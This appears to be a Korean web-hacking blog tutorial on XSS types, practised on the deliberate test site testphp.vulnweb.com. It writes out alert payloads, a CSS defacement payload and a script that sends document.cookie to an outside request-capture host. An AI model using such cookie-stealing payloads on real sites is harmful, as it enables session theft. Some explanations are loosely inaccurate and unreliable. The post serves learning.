XSS(Cross Site Scripting) 이란?
XSS(Cross Site Scripting) 이란 웹 서버가 사용자가 입력한 데이터를 제대로 검증하지 않아서 생기는 취약점이다
악성 스크립트 즉 자바스크립트로 된 코드로 먼저 취약점을 식별한다
이로 인해 사용자가 예기치 못하게 피싱링크로 유도하거나 회원정보 탈취 , 웹 변조 (DEFACE) 등등
<script>alert(1)</script>
이건 자바스크립트로 된 페이로드 이다
이 페이로드 로 웹 서버 입력필드에 삽입을 하면 웹 서버는 태그에 HTML 로 인식을 해 그대로 (1) 을 팝업창으로 표시한다
xss 는 크게 3가지로 분류 한다
Reflected XSS 반사
해커는 먼저 악성 스크립트가 담긴 URL 을 사용자에게 보냅니다 사용자는 피싱 링크를 클릭해 웹 서버로 이동합니다
웹 서버는 악성 스크립트가 삽입되 이를 그대로 읽어 세션 쿠키를 해커에게 보냅니다
이 세션쿠키 를 사용해 해커는 사용자에 회원정보를 탈취할수 있습니다
http://testphp.vulnweb.com/login.php
Reflected XSS 에 취약한 서버가 있습니다
search art 라는 입력필드가 보입니다
여기에 위에 배운 내용으로 실습해 봅시다
<script>alert(1)</script>
성공적으로 경고창 1 이 결과값으로 출력됩니다
이와 다음으로
https://tools.dreamhack.games/
드림핵에서 제공하는 툴을 이용하여
세션 쿠키를 탈취하는 악성 스크립트를 제작해 봅시다
<script>location.href = "http://roqvxvg.request.dreamhack.games/?memo=" + document.cookie;</script>
location.href 로 저 악성 스크립트 서버로 URL 를 이동하여
document.cookie 로 세션쿠키를 얻어내는 방식입니다
현재 아이디 test 패스워드 test 로 로그인한 상태입니다
URL 이 해커에 서버로 변경이 되였습니다
이로 인하여 해커는 사용자가 아이디는 test 패스워드는 test 라는걸 알아냈습니다
Stored XSS 저장형
주로 게시물에서 시작됩니다
웹 변조 (DEFACE) 공격을 할수 있으며 피싱링크를 게시물에 올려 세션 쿠키를 탈취할수 있습니다
<style> div { background-image: url('https://ichef.bbci.co.uk/ace/ws/640/cpsprodpb/52F3/production/_114953212_anon.png.webp'); } </style>
게시물에 바탕화면 이미지를 바꾸는 자바스크립트 형식을 넣어 웹 페이지를 변조시킬수 있습니다
저장형이기 떄문에 지속되어 큰 피해를 입힐수 있습니다
DOM 기반 XSS (DOM-based XSS)
DOM-based XSS 는 클라이언트 측에서 발생하는 XSS 취약점입니다. 즉, 서버가 사용자 입력을 처리하는 것이 아닌
URL 파라미터 나 사용자 입력(예: 쿼리 파라미터, URL 해시, 쿠키 등) 을 클라이언트 측 JavaScript 코드가 받아 처리합니다.
상점 페이지로 가줍니다
http://testphp.vulnweb.com/listproducts.php?cat=1
여기에서
http://testphp.vulnweb.com/listproducts.php?cat=<script>alert(1)</script>
로 바꿔보겠습니다
성공적으로 결과값 1이 출력됬습니다
'웹 해킹 | WEB HACKING' 카테고리의 다른 글
SQL INJECTION | SQLMAP - 웹 모의해킹 (1) | 2024.09.17 |
---|---|
NoSQL 인젝션 [실습] [버프스위트] [Detecting NoSQL injection] (0) | 2024.08.18 |
SQL INJECTION 이란? [실습] [웹해킹] [BWAPP] (0) | 2024.08.15 |
IFRAME INJECTION [실습] [BWAPP] [웹해킹] (0) | 2024.08.13 |
HTML INJECTION [실습] [BWAPP] (0) | 2024.08.10 |